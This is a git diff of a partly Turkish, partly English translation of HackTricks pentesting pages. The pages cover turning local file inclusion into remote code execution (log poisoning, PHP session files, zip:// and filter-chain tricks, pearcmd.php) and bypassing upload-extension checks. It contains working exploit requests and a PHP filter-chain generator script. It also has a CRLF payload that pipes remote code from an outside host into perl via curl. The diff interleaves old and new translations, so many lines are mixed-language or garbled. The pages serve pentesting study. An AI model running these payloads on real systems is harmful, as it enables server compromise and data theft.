to access to **`/var/log/apache2/access.log` or `/var/log/nginx/access.log`**, set inside the **user agent** or inside a **GET parameter** a php shell like **``** and include that file > [!WARNING] -> Shell için **çift tırnak** kullanırsanız (tek tırnak yerine), çift tırnaklar "_**quote;**_" stringine dönüşecek, **PHP bir hata fırlatacak** ve **başka hiçbir şey yürütülmeyecek**. +> Dikkat: **eğer shell için çift tırnak kullanırsanız** tek tırnak yerine, çift tırnaklar "_**quote;**_" stringi için değiştirilecektir, orada **PHP hata fırlatacaktır** ve **başka hiçbir şey yürütülmeyecektir**. > -> Ayrıca, **payload'u doğru yazdığınızdan** emin olun; aksi takdirde PHP log dosyasını her yüklemeye çalıştığında hata verecek ve ikinci bir şansınız olmayacak. +> Ayrıca, payload'u **doğru yazdığınızdan** emin olun; aksi halde PHP, log dosyasını yüklemeye çalıştıkça hata verecek ve ikinci bir fırsatınız olmayacaktır. -Bu işlem diğer loglarda da yapılabilir fakat **dikkatli olun,** log içindeki kod URL encoded olabilir ve bu Shell'i bozabilir. Header **authorisation "basic"** Base64 olarak "user:password" içerir ve loglar içinde decode edilir. PHPShell bu header içine yerleştirilebilir.\ -Diğer olası log yolları: +This could also be done in other logs but **be careful,** the code inside the logs could be URL encoded and this could destroy the Shell. The header **authorisation "basic"** contains "user:password" in Base64 and it is decoded inside the logs. The PHPShell could be inserted inside this header.\ +Other possible log paths: ```python /var/log/apache2/access.log /var/log/apache/access.log @@ -501,35 +501,35 @@ Fuzzing wordlist: [https://github.com/danielmiessler/SecLists/tree/master/Fuzzin ### E-posta ile -**Bir e-posta gönderin** yerel bir hesaba (user@localhost) PHP payload'unuzu içerecek şekilde, örneğin ``, ve kullanıcının postasını **`/var/mail/`** veya **`/var/spool/mail/`** gibi bir yol ile include etmeyi deneyin. +**Bir e-posta gönderin** yerel bir hesaba (user@localhost) PHP payload'unuzu içerecek şekilde `` ve kullanıcının mailini aşağıdaki gibi bir yol ile include etmeyi deneyin: **`/var/mail/`** veya **`/var/spool/mail/`** -### Üzerinden /proc/\*/fd/\* +### /proc/*/fd/* üzerinden -1. Çok sayıda shell yükleyin (örneğin: 100) -2. Include [http://example.com/index.php?page=/proc/$PID/fd/$FD](http://example.com/index.php?page=/proc/$PID/fd/$FD), burada $PID işlemin PID'si (brute force ile bulunabilir) ve $FD dosya tanımlayıcısı (brute force ile bulunabilir) +1. Çok sayıda shells yükleyin (örneğin: 100) +2. [http://example.com/index.php?page=/proc/$PID/fd/$FD](http://example.com/index.php?page=/proc/$PID/fd/$FD) adresini include edin; burada $PID süreç PID'si (brute forced ile bulunabilir) ve $FD file descriptor'dır (o da brute forced ile bulunabilir) -### Üzerinden /proc/self/environ +### /proc/self/environ üzerinden -Bir log dosyası gibi, payload'u User-Agent içinde gönderin; /proc/self/environ dosyasında yansıyacaktır. +Bir log dosyası gibi, payload'u User-Agent içinde gönderin; bu /proc/self/environ dosyasında yansıtılacaktır. ``` GET vulnerable.php?filename=../../../proc/self/environ HTTP/1.1 User-Agent: ``` -### Yükleme yoluyla +### Yükleme ile -Bir dosya yükleyebiliyorsanız, içine sadece shell payload'u enjekte edin (ör.: `` ). +Bir dosya yükleyebiliyorsanız, içine shell payload'unu enjekte edin (ör. : `` ). ``` http://example.com/index.php?page=path/to/uploaded/file.png ``` -Dosyanın okunabilirliğini korumak için, resimlerin/doc/pdf'lerin üstverilerine enjekte etmek en iyisidir +Dosyanın okunabilirliğini korumak için resimlerin/doc/pdf'lerin metadata'sına enjekte etmek en iyisidir -### Zip dosyası yükleyerek +### ZIP dosyası yüklemesi ile -PHP shell içeren sıkıştırılmış bir ZIP dosyası yükleyin ve erişin: +Sıkıştırılmış bir PHP shell içeren bir ZIP dosyası yükleyin ve erişin: ```python example.com/page.php?file=zip://path/to/zip/hello.zip%23rce.php ``` -### PHP sessions aracılığıyla +### PHP oturumları üzerinden Web sitesinin PHP Session (PHPSESSID) kullanıp kullanmadığını kontrol edin ``` @@ -541,45 +541,45 @@ PHP'de bu oturumlar _/var/lib/php5/sess\\_\[PHPSESSID]\_ dosyalarına kaydedilir /var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm27. user_ip|s:0:"";loggedin|s:0:"";lang|s:9:"en_us.php";win_lin|s:0:"";user|s:6:"admin";pass|s:6:"admin"; ``` -Cookie'yi `` olarak ayarlayın +Cookie'yi şu değere ayarlayın `` ``` login=1&user=&pass=password&lang=en_us.php ``` -LFI'yi kullanarak PHP session fileyi include edin. +PHP session file'ını include etmek için LFI'yi kullanın. ``` login=1&user=admin&pass=password&lang=/../../../../../../../../../var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm2 ``` -### ssh ile +### ssh üzerinden -Eğer ssh aktifse hangi kullanıcının kullanıldığını kontrol edin (/proc/self/status & /etc/passwd) ve **\/.ssh/id_rsa** dosyasına erişmeye çalışın +Eğer ssh aktifse hangi kullanıcının kullanıldığını kontrol et (/proc/self/status & /etc/passwd) ve **\/.ssh/id_rsa**'ye erişmeyi dene. -### **Üzerinden** **vsftpd** _**logları**_ +### **Üzerinden** **vsftpd** _**günlükleri**_ -FTP sunucusu vsftpd için loglar _**/var/log/vsftpd.log**_ konumunda bulunur. Eğer bir Local File Inclusion (LFI) zafiyeti varsa ve erişilebilir bir vsftpd sunucusuna erişim mümkünse, aşağıdaki adımlar düşünülebilir: +FTP sunucusu vsftpd için günlükler _**/var/log/vsftpd.log**_ konumundadır. Eğer bir Local File Inclusion (LFI) zafiyeti varsa ve erişilebilir bir vsftpd sunucusu mevcutsa, aşağıdaki adımlar düşünülebilir: -1. Giriş işlemi sırasında kullanıcı adı alanına bir PHP payload enjekte edin. -2. Enjeksiyondan sonra, sunucu loglarını almak için LFI'yi kullanın: _**/var/log/vsftpd.log**_. +1. Giriş işlemi sırasında username alanına bir PHP payload enjekte et. +2. Enjeksiyon sonrası, LFI'yi kullanarak sunucu günlüklerini _**/var/log/vsftpd.log**_ dosyasından çek. -### php base64 filter (base64 kullanarak) +### php base64 filtresi ile (base64 kullanarak) -Bu [bu makalede](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64) gösterildiği gibi, PHP base64 filter Non-base64'i yoksayar. Bunu dosya uzantısı kontrolünü atlamak için kullanabilirsiniz: eğer ".php" ile biten bir base64 verirseniz, filtre "."'ı yok sayar ve base64'e "php" ekler. İşte bir örnek payload: +Bu [makalede](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64) gösterildiği gibi, PHP base64 filter sadece Non-base64 karakterlerini yok sayar. Bunu dosya uzantısı kontrolünü atlatmak için kullanabilirsin: eğer sonu ".php" ile biten base64 sağlarsan, filter "." karakterini yok sayar ve base64'e "php" ekler. İşte bir örnek payload: ```url http://example.com/index.php?page=PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.php NOTE: the payload is "" ``` -### Via php filters (dosya gerekmez) +### php filters ile (dosya gerekmez) -This [**writeup** ](https://gist.github.com/loknop/b27422d355ea1fd0d90d6dbc1e278d4d) açıklar ki **php filters ile rastgele içerik üretilebilir** çıktı olarak. Bu temelde, include için **rastgele php kodu üretebileceğiniz** anlamına gelir **bunu bir dosyaya yazmanıza gerek kalmadan**. +This [**writeup** ](https://gist.github.com/loknop/b27422d355ea1fd0d90d6dbc1e278d4d) php filters kullanarak çıktı olarak **rastgele içerik üretebileceğinizi** açıklar. Bu, temelde include için **rastgele php kodu üretebileceğiniz** ve bunu bir dosyaya yazmanız **gerekmeyeceği** anlamına gelir. {{#ref}} lfi2rce-via-php-filters.md {{#endref}} -### Segmentation fault ile +### segmentation fault ile -**Yükleyin** `/tmp` içinde **geçici** olarak saklanacak bir dosyayı, sonra **aynı istekte** bir **segmentation fault** tetikleyin; böylece **geçici dosya silinmeyecek** ve onu arayabilirsiniz. +**Bir dosya yükleyin**; bu dosya `/tmp` içinde **geçici** olarak saklanacaktır, sonra **aynı istekte** bir **segmentation fault** tetikleyin; böylece **geçici dosya silinmeyecek** ve onu arayabilirsiniz. {{#ref}} @@ -588,7 +588,7 @@ lfi2rce-via-segmentation-fault.md ### Nginx temp file storage ile -Eğer bir **Local File Inclusion** bulduysanız ve **Nginx** PHP'nin önünde çalışıyorsa, aşağıdaki teknikle RCE elde edebilirsiniz: +Eğer bir **Local File Inclusion** bulduysanız ve **Nginx** PHP'nin önünde çalışıyorsa, aşağıdaki teknikle **RCE** elde edebilirsiniz: {{#ref}} @@ -597,7 +597,7 @@ lfi2rce-via-nginx-temp-files.md ### PHP_SESSION_UPLOAD_PROGRESS ile -Eğer bir **Local File Inclusion** bulduysanız, hatta **session'a sahip olmasanız** ve `session.auto_start` `Off` olsa bile. Eğer **multipart POST** verisinde **`PHP_SESSION_UPLOAD_PROGRESS`** sağlarsanız, PHP **session'ı sizin için etkinleştirir**. Bunu RCE elde etmek için kötüye kullanabilirsiniz: +Eğer bir **Local File Inclusion** bulduysanız, hatta **oturumunuz yoksa** ve `session.auto_start` `Off` ise. Eğer **multipart POST** verisinde **`PHP_SESSION_UPLOAD_PROGRESS`** sağlarsanız, PHP sizin için **oturumu etkinleştirecektir**. Bunu RCE elde etmek için suistimal edebilirsiniz: {{#ref}} @@ -606,7 +606,7 @@ via-php_session_upload_progress.md ### Windows'ta temp file uploads ile -Eğer bir **Local File Inclusion** bulduysanız ve sunucu **Windows** üzerinde çalışıyorsa RCE elde edebilirsiniz: +Eğer bir **Local File Inclusion** bulduysanız ve sunucu **Windows** üzerinde çalışıyorsa, RCE elde edebilirsiniz: {{#ref}} @@ -615,13 +615,13 @@ lfi2rce-via-temp-file-uploads.md ### `pearcmd.php` + URL args ile -As [**explained in this post**](https://www.leavesongs.com/PENETRATION/docker-php-include-getshell.html#0x06-pearcmdphp), script `/usr/local/lib/phppearcmd.php` php docker images içinde varsayılan olarak mevcuttur. Ayrıca, bir URL parametresi `=` içermiyorsa argüman olarak kullanılacağı belirtildiği için script'e URL üzerinden argüman geçirmek mümkündür. Ayrıca bakınız [watchTowr’s write-up](https://labs.watchtowr.com/form-tools-we-need-to-talk-about-php/) ve [Orange Tsai’s “Confusion Attacks”](https://blog.orange.tw/posts/2024-08-confusion-attacks-en/). +As [**explained in this post**](https://www.leavesongs.com/PENETRATION/docker-php-include-getshell.html#0x06-pearcmdphp), the script `/usr/local/lib/phppearcmd.php` exists by default in php docker images. Ayrıca, URL üzerinden script'e argüman geçirmek mümkündür çünkü eğer bir URL parametresi `=` içermiyorsa argüman olarak kullanılacağı belirtilmiştir. Ayrıca bakınız [watchTowr’s write-up](https://labs.watchtowr.com/form-tools-we-need-to-talk-about-php/) ve [Orange Tsai’s “Confusion Attacks”](https://blog.orange.tw/posts/2024-08-confusion-attacks-en/). -The following request create a file in `/tmp/hello.php` with the content ``: +Aşağıdaki istek `/tmp/hello.php` içinde `` içeriğiyle bir dosya oluşturur: ```bash GET /index.php?+config-create+/&file=/usr/local/lib/php/pearcmd.php&/+/tmp/hello.php HTTP/1.1 ``` -Aşağıdaki, bir CRLF vuln kullanarak RCE elde ediyor (kaynak: [**here**](https://blog.orange.tw/2024/08/confusion-attacks-en.html?m=1)): +Aşağıdaki, RCE elde etmek için bir CRLF zafiyetini suistimal eder (kaynak: [**here**](https://blog.orange.tw/2024/08/confusion-attacks-en.html?m=1)): ``` http://server/cgi-bin/redir.cgi?r=http:// %0d%0a Location:/ooo? %2b run-tests %2b -ui %2b $(curl${IFS}orange.tw/x|perl) %2b alltests.php %0d%0a @@ -630,7 +630,7 @@ Content-Type:proxy:unix:/run/php/php-fpm.sock|fcgi://127.0.0.1/usr/local/lib/php ``` ### phpinfo() ile (file_uploads = on) -Eğer bir **Local File Inclusion** bulduysanız ve **phpinfo()** ile file_uploads = on gösteren bir dosya varsa RCE elde edebilirsiniz: +Eğer bir **Local File Inclusion** bulduysanız ve file_uploads = on olan **phpinfo()** gösteren bir dosya varsa RCE elde edebilirsiniz: {{#ref}} @@ -639,32 +639,32 @@ lfi2rce-via-phpinfo.md ### compress.zlib + `PHP_STREAM_PREFER_STUDIO` + Path Disclosure ile -Eğer bir **Local File Inclusion** bulduysanız ve temp dosyanın path'ini exfiltrate edebiliyorsanız AMA **server** dahil edilecek dosyanın **PHP marks** olup olmadığını kontrol ediyorsa, bu kontrolü bu **Race Condition** ile atlamayı deneyebilirsiniz: +Eğer bir **Local File Inclusion** bulduysanız ve geçici dosyanın yolunu **can exfiltrate the path** edebiliyorsanız ANCAK **server** **checking** yapıp **file to be included has PHP marks** olup olmadığını kontrol ediyorsa, bu **bypass that check** için bu **Race Condition**'ı deneyebilirsiniz: {{#ref}} lfi2rce-via-compress.zlib-+-php_stream_prefer_studio-+-path-disclosure.md {{#endref}} -### Sonsuz bekleme + bruteforce ile +### eternal waiting + bruteforce ile -Eğer LFI'yi kötüye kullanarak geçici dosyalar yükleyebiliyor ve server'ın PHP yürütmesini takılmaya (hang) zorlayabiliyorsanız, geçici dosyayı bulmak için saatlerce dosya adlarını **brute force** edebilirsiniz: +Eğer LFI'yi kötüye kullanarak **upload temporary files** yapabiliyor ve server'ın PHP yürütmesini **hang** ettirebiliyorsanız, geçici dosyayı bulmak için saatlerce **brute force filenames during hours** deneyebilirsiniz: {{#ref}} lfi2rce-via-eternal-waiting.md {{#endref}} -### Fatal Error'a +### To Fatal Error -Eğer `/usr/bin/phar`, `/usr/bin/phar7`, `/usr/bin/phar.phar7`, `/usr/bin/phar.phar` dosyalarından herhangi birini include ederseniz. (Bu hatayı tetiklemek için aynı dosyayı 2 kez include etmeniz gerekiyor). +Eğer `/usr/bin/phar`, `/usr/bin/phar7`, `/usr/bin/phar.phar7`, `/usr/bin/phar.phar` dosyalarından herhangi birini include ederseniz. (Bu hatayı fırlatmak için aynı dosyayı 2 kez include etmeniz gerekiyor). **Bunun ne kadar faydalı olduğunu bilmiyorum ama işe yarayabilir.**\ -_PHP Fatal Error'a sebep olsanız bile, yüklenen PHP geçici dosyaları silinir._ +_PHP Fatal Error'a neden olsanız bile, yüklenen PHP geçici dosyaları silinir._
-## Referanslar +## References - [PayloadsAllTheThings](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/File%20Inclusion%20-%20Path%20Traversal) - [PayloadsAllTheThings/tree/master/File%20Inclusion%20-%20Path%20Traversal/Intruders](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/File%20Inclusion%20-%20Path%20Traversal/Intruders) diff --git a/src/pentesting-web/file-inclusion/lfi2rce-via-php-filters.md b/src/pentesting-web/file-inclusion/lfi2rce-via-php-filters.md index 4f2b2c59e..0e572b913 100644 --- a/src/pentesting-web/file-inclusion/lfi2rce-via-php-filters.md +++ b/src/pentesting-web/file-inclusion/lfi2rce-via-php-filters.md @@ -5,36 +5,36 @@ ## Giriş -Bu [**writeup** ](https://gist.github.com/loknop/b27422d355ea1fd0d90d6dbc1e278d4d) açıklıyor ki **php filters** ile çıktı olarak rastgele içerik üretebilirsiniz. Bu temelde include için **rastgele php kodu üretebileceğiniz** anlamına gelir; bunu bir dosyaya **yazmanız gerekmeksizin** yapabilirsiniz. +This [**writeup** ](https://gist.github.com/loknop/b27422d355ea1fd0d90d6dbc1e278d4d) explains that you can use **php filters to generate arbitrary content** as output. Which basically means that you can **generate arbitrary php code** for the include **without needing to write** it into a file. -Temelde scriptin amacı, dosyanın **başında** yer alacak bir **Base64** stringi **oluşturarak**, en sonunda decode edilip istenen payload'u sağlayacak ve bu payload `include` tarafından **yorumlanacak** olmasıdır. +Temelde scriptin amacı, include tarafından yorumlanacak istediğimiz payload'u sağlayacak şekilde dosyanın başında son olarak decode edilecek bir Base64 string üretmektir — bunu bir dosyaya yazmaya ihtiyaç olmadan yapmak. -Bunu yapmak için temel noktalar: +Bunu yapmanın temelleri: -- `convert.iconv.UTF8.CSISO2022KR` her zaman stringin başına `\x1b$)C` ekler -- `convert.base64-decode` son derece toleranslıdır; geçerli base64 olmayan karakterleri neredeyse tamamen yok sayar. Beklenmeyen "=" ile karşılaşırsa bazı sorunlar çıkarabilir, ancak bunlar `convert.iconv.UTF8.UTF7` filtresi ile kaldırılabilir. +- `convert.iconv.UTF8.CSISO2022KR` her zaman stringin başına `\x1b$)C` ekleyecektir +- `convert.base64-decode` oldukça toleranslıdır, temel olarak geçerli base64 olmayan karakterleri yok sayar. Beklenmeyen "=" ile karşılaşırsa bazı sorunlara yol açabilir, ama bunlar `convert.iconv.UTF8.UTF7` filtresi ile kaldırılabilir. -Rastgele içerik üretmek için döngü şudur: +Rastgele içerik üretmek için döngü: -1. Yukarıda açıklandığı gibi stringimizin başına `\x1b$)C` ekle -2. İlk base64'imizi bozmayan ve az önce eklediğimiz kısmı, içinde geçerli tek base64 karakteri base64 ile kodlanmış php kodumuzun sonraki parçası olan bir stringe dönüştüren bir iconv dönüşümleri zinciri uygula -3. Stringi base64-decode ve base64-encode et; bu aradaki çöp karakterleri kaldırır -4. Oluşturmak istediğimiz base64 henüz tamamlanmadıysa 1'e geri dön -5. php kodumuzu elde etmek için base64-decode et +1. yukarıda açıklandığı gibi stringimizin başına `\x1b$)C` ekleyin +2. ilk base64'imizi bozmayan ve eklediğimiz kısmı, tek geçerli base64 karakterinin base64 ile kodlanmış php kodumuzun bir sonraki parçası olduğu bir stringe dönüştüren bir dizi iconv dönüşümü uygulayın +3. stringi base64-decode edip tekrar base64-encode edin; bu aradaki gereksiz karakterleri kaldırır +4. oluşturmak istediğimiz base64 bitmediyse 1'e dönün +5. php kodumuzu elde etmek için base64-decode yapın > [!WARNING] -> **Includes** genelde dosyanın sonuna **".php" eklemek** gibi işlemler yapar; bu da istismarı zorlaştırabilir çünkü exploit'i öldürmeyen bir .php dosyası bulmanız gerekir... veya **kaynak olarak `php://temp` kullanabilirsiniz** çünkü isimde **herhangi bir şeyin eklenmesine izin verir** (ör. +".php") ve exploit yine de çalışmaya devam eder! +> **Includes** genellikle dosyanın sonuna **".php" eklemek** gibi işlemler yapar; bu, exploit'ü gerçekleştirmeyi zorlaştırabilir çünkü exploit'i bozmayacak bir .php dosyası bulmanız gerekir... veya **kaynak olarak `php://temp` kullanabilirsiniz** çünkü ismin sonuna her türlü şeyi eklemeye izin verir (ör. +".php") ve yine de exploit çalışacaktır! -## Elde edilen veriye nasıl sonek eklenir +## Sonuç veriye ayrıca sonekler nasıl eklenir -[**This writeup explains**](https://www.ambionics.io/blog/wrapwrap-php-filters-suffix) PHP filtrelerini kullanarak elde edilen string'e sonek eklemenin nasıl istismar edilebileceğini açıklıyor. Bu, çıktının belirli bir formata (ör. json veya bazı PNG magic byte'ları eklemek gibi) sahip olması gerektiğinde çok işe yarar. +[**This writeup explains**](https://www.ambionics.io/blog/wrapwrap-php-filters-suffix) nasıl PHP filters'ı istismar ederek sonuç stringine sonekler ekleyebileceğinizi açıklar. Bu, çıktının belirli bir formatta olması gerektiğinde (ör. json veya bazı PNG magic byte'larını eklemek gibi) çok kullanışlıdır. ## Otomatik Araçlar - [https://github.com/synacktiv/php_filter_chain_generator](https://github.com/synacktiv/php_filter_chain_generator) - [**https://github.com/ambionics/wrapwrap**](https://github.com/ambionics/wrapwrap) **(can add suffixes)** -## Tam script +## Full script ```python import requests @@ -96,7 +96,7 @@ print(r.text) ``` ### İyileştirmeler -Önceki script, o payload için gerekli base64 karakterleriyle sınırlıydı. Bu nedenle, tüm base64 karakterlerini **bruteforce** etmek için kendi scriptimi hazırladım: +Önceki betik, o payload için gerekli base64 karakterleriyle sınırlıydı. Bu yüzden, tüm base64 karakterlerini **bruteforce** etmek için kendi betiğimi oluşturdum: ```php conversions = { '0': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.1046.UCS2', @@ -165,7 +165,7 @@ conversions = { '=': '' } ``` -Her b64 harfini üreten kodlamaları elde etmek için işte **script**: +Her b64 harfini oluşturan kodlamaları elde etmek için işte **script**: ```php ``` -## Daha Fazla Referans +## Diğer Kaynaklar - [https://www.synacktiv.com/publications/php-filters-chain-what-is-it-and-how-to-use-it.html](https://www.synacktiv.com/publications/php-filters-chain-what-is-it-and-how-to-use-it.html) - [The Art of PHP: CTF‑born exploits and techniques](https://blog.orange.tw/posts/2025-08-the-art-of-php-ch/) diff --git a/src/pentesting-web/file-upload/README.md b/src/pentesting-web/file-upload/README.md index 72ee74540..db4c1150a 100644 --- a/src/pentesting-web/file-upload/README.md +++ b/src/pentesting-web/file-upload/README.md @@ -2,12 +2,12 @@ {{#include ../../banners/hacktricks-training.md}} -## Dosya Yükleme Genel Yöntemi +## Dosya Yükleme Genel Metodoloji -Diğer yararlı uzantılar: +Diğer faydalı uzantılar: - **PHP**: _.php_, _.php2_, _.php3_, ._php4_, ._php5_, ._php6_, ._php7_, .phps, ._pht_, ._phtm, .phtml_, ._pgif_, _.shtml, .htaccess, .phar, .inc, .hphp, .ctp, .module_ -- **Working in PHPv8**: _.php_, _.php4_, _.php5_, .phtml_, .module_, .inc_, .hphp_, .ctp_ +- **PHPv8'de Çalışma**: _.php_, _.php4_, ._php5_, .phtml_, .module_, .inc_, .hphp_, .ctp_ - **ASP**: _.asp, .aspx, .config, .ashx, .asmx, .aspq, .axd, .cshtm, .cshtml, .rem, .soap, .vbhtm, .vbhtml, .asa, .cer, .shtml_ - **Jsp:** _.jsp, .jspx, .jsw, .jsv, .jspf, .wss, .do, .action_ - **Coldfusion:** _.cfm, .cfml, .cfc, .dbm_ @@ -17,11 +17,11 @@ Diğer yararlı uzantılar: ### Dosya uzantısı kontrollerini atlatma -1. Uygulanıyorsa, **önceki uzantıları** **kontrol edin**. Ayrıca bunları bazı **büyük harflerle** test edin: _pHp, .pHP5, .PhAr ..._ -2. _Çalıştırma uzantısından **önce geçerli bir uzantı eklemeyi kontrol edin** (önceki uzantıları da kullanın):_ +1. Eğer uygulanıyorsa, **önceki uzantıları** **kontrol edin.** Ayrıca bazılarını **büyük harflerle** de deneyin: _pHp, .pHP5, .PhAr ..._ +2. _Çalıştırma uzantısından önce geçerli bir uzantı **eklemeyi** **kontrol edin** (önceki uzantıları da kullanın):_ - _file.png.php_ - _file.png.Php5_ -3. Sonuna **özel karakterler** eklemeyi deneyin. Tüm **ascii** ve **Unicode** karakterlerini **bruteforce** etmek için Burp'u kullanabilirsiniz. (_Not: ayrıca daha önce bahsedilen **uzantıları** de kullanmayı deneyebilirsiniz_) +3. Sonuna **özel karakterler eklemeyi** deneyin. Burp kullanarak tüm **ascii** ve **Unicode** karakterleri **bruteforce** edebilirsiniz. (_Ayrıca daha önce bahsedilen **uzantıları** de kullanmayı deneyebilirsiniz_) - _file.php%20_ - _file.php%0a_ - _file.php%00_ @@ -31,7 +31,7 @@ Diğer yararlı uzantılar: - _file._ - _file.php...._ - _file.pHp5...._ -4. Sunucu tarafındaki uzantı ayrıştırıcısını **kandırarak** korumaları atlatmayı deneyin; örneğin uzantıyı **tekrarlama** veya uzantılar arasına **gereksiz veri** (**null** byte'lar) ekleme teknikleri. _Daha iyi bir payload hazırlamak için önceki uzantıları da kullanabilirsiniz._ +4. Sunucu tarafındaki uzantı ayrıştırıcısını **kandırarak** korumaları atlatmayı deneyin; örneğin **uzantıyı ikileme** veya uzantılar arasına **çöp** veri (**null bytes**) ekleme gibi teknikler. _Daha iyi bir payload hazırlamak için **önceki uzantıları** de kullanabilirsiniz._ - _file.png.php_ - _file.png.pHp5_ - _file.php#.png_ @@ -43,10 +43,10 @@ Diğer yararlı uzantılar: 5. Önceki kontrole **başka bir uzantı katmanı** ekleyin: - _file.png.jpg.php_ - _file.php%00.png%00.jpg_ -6. **Exec uzantısını geçerli uzantıdan önce** koymayı deneyin ve sunucunun yanlış yapılandırılmış olmasını umun. (Apache yanlış yapılandırmalarını istismar etmek için faydalıdır; bazı durumlarda dosya adı **.php** içeriyorsa, sonu .php ile bitmese bile kod çalıştırılabilir): +6. **Çalıştırma uzantısını** geçerli uzantıdan **önce koymayı** deneyin ve sunucunun yanlış yapılandırılmış olmasını umun. (Apache yanlış yapılandırmalarını istismar etmek için faydalıdır; bazı durumlarda herhangi bir dosya uzantısı **.php** içeriyorsa, dosyanın sonu **.php** olmasa bile kod çalıştırılabilir): - _ex: file.php.png_ -7. **Windows** ortamında **NTFS alternate data stream (ADS)** kullanımı. Bu durumda, yasaklı bir uzantıdan sonra ve izin verilen uzantıdan önce iki nokta üst üste karakteri ":" eklenir. Sonuç olarak, sunucuda **yasaklı uzantıya sahip boş bir dosya** oluşturulabilir (örn. "file.asax:.jpg"). Bu dosya daha sonra kısa dosya adı kullanımı gibi başka tekniklerle düzenlenebilir. "**::$data**” deseni ayrıca boş olmayan dosyalar oluşturmak için kullanılabilir. Bu nedenle, bu desenin sonuna bir nokta karakteri eklemek daha fazla kısıtlamayı atlatmada faydalı olabilir (örn. "file.asp::$data.") -8. Dosya adı sınırlarını aşmayı deneyin. Geçerli uzantı kesilir. Kötücül PHP geride kalır. AAA<--SNIP-->AAA.php +7. **Windows** üzerinde **NTFS alternate data stream (ADS)** kullanımı. Bu durumda yasaklı bir uzantıdan sonra ve izin verilen uzantıdan önce iki nokta üst üste ":" karakteri eklenir. Sonuç olarak sunucuda **yasaklı uzantıya sahip boş bir dosya** oluşturulur (ör. "file.asax:.jpg"). Bu dosya daha sonra kısa dosya adı gibi başka tekniklerle düzenlenebilir. "**::$data**” deseni de boş olmayan dosyalar oluşturmak için kullanılabilir. Bu nedenle, bu desenin sonuna bir nokta eklemek daha fazla kısıtlamayı atlatmak için faydalı olabilir (ör. "file.asp::$data."). +8. Dosya adı sınırlarını **aşmayı** deneyin. Geçerli uzantı kesilir ve kötü amaçlı PHP geride kalır. AAA<--SNIP-->AAA.php ``` # Linux maximum 255 bytes @@ -59,56 +59,56 @@ AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAA<--SNIP 232 A-->AAA.php.png ``` -### Content-Type, Magic Number, Compression & Resizing atlatma +### Content-Type, Magic Number, Sıkıştırma ve Yeniden Boyutlandırmayı Atlatma -- **Content-Type** kontrollerini, **Content-Type** başlığının değerini şu şekilde ayarlayarak atlatın: _image/png_ , _text/plain , application/octet-stream_ +- **Content-Type** kontrollerini atlatmak için **Content-Type** başlığının değerini şu şekilde ayarlayın: _image/png_ , _text/plain , application/octet-stream_ 1. Content-Type **wordlist**: [https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt](https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt) -- **Magic number** kontrolünü atlatmak için dosyanın başına gerçek bir resmin **byte**larını ekleyin (file komutunu yanıltır). Ya da shell'i **metadata** içine yerleştirin:\ +- **Magic number** kontrolünü atlatmak için dosyanın başına gerçek bir görüntünün **baytlarını** ekleyin (file komutunu yanıltmak için). Veya shell'i **metadata** içine yerleştirin:\ `exiftool -Comment="' >> img.png` -- Eğer görüntünüze **sıkıştırma** uygulanıyorsa, örneğin PHP kütüphaneleri gibi [PHP-GD](https://www.php.net/manual/fr/book.image.php) kullanılıyorsa, önceki teknikler işe yaramayabilir. Ancak, sıkıştırmadan **sağ çıkan** metin eklemek için **PLTE chunk** [**burada tanımlanan teknik**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) kullanılabilir. +- Eğer görüntünüze **sıkıştırma** uygulanıyorsa (ör. PHP-GD gibi kütüphaneler kullanılıyorsa), önceki teknikler işe yaramayabilir. Ancak **PLTE chunk** [**burada tanımlanan teknik**]ı kullanarak sıkıştırmadan **kurtulacak** metin ekleyebilirsiniz. - [**Github with the code**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_plte_png.php) -- Web sayfası ayrıca görüntüyü **yeniden boyutlandırıyor** olabilir; örneğin PHP-GD fonksiyonları `imagecopyresized` veya `imagecopyresampled` kullanabilir. Ancak, sıkıştırmadan **sağ çıkan** metin eklemek için **IDAT chunk** [**burada tanımlanan teknik**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) kullanılabilir. +- Web sayfası ayrıca görüntüyü **yeniden boyutlandırıyor** olabilir; örneğin PHP-GD fonksiyonları `imagecopyresized` veya `imagecopyresampled` kullanılarak. Ancak **IDAT chunk** [**burada tanımlanan teknik**] yardımıyla sıkıştırmadan **sağ kurtulacak** metinler ekleyebilirsiniz. - [**Github with the code**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_idat_png.php) -- Görüntü yeniden boyutlandırılmasına dayanıklı bir payload yapmak için başka bir teknik de PHP-GD fonksiyonu `thumbnailImage` kullanımına ilişkin yaklaşımdır. Bununla birlikte, sıkıştırmadan **sağ çıkan** metin eklemek için **tEXt chunk** [**burada tanımlanan teknik**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) kullanılabilir. +- Görüntü yeniden boyutlandırmayı atlatan başka bir teknik, PHP-GD fonksiyonu `thumbnailImage` kullanarak payload oluşturmadır. Bunun yerine **tEXt chunk** [**burada tanımlanan teknik**] ile sıkıştırmadan **sağ kurtulacak** metin ekleyebilirsiniz. - [**Github with the code**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_tEXt_png.php) -### Kontrol etmeniz için diğer hileler +### Kontrol edilecek Diğer İpuçları -- Zaten yüklenmiş dosyayı **yeniden adlandırmaya** (uzantıyı değiştirmek için) imkan veren bir zafiyet bulun. +- Yüklenen dosyanın adını değiştirebilecek 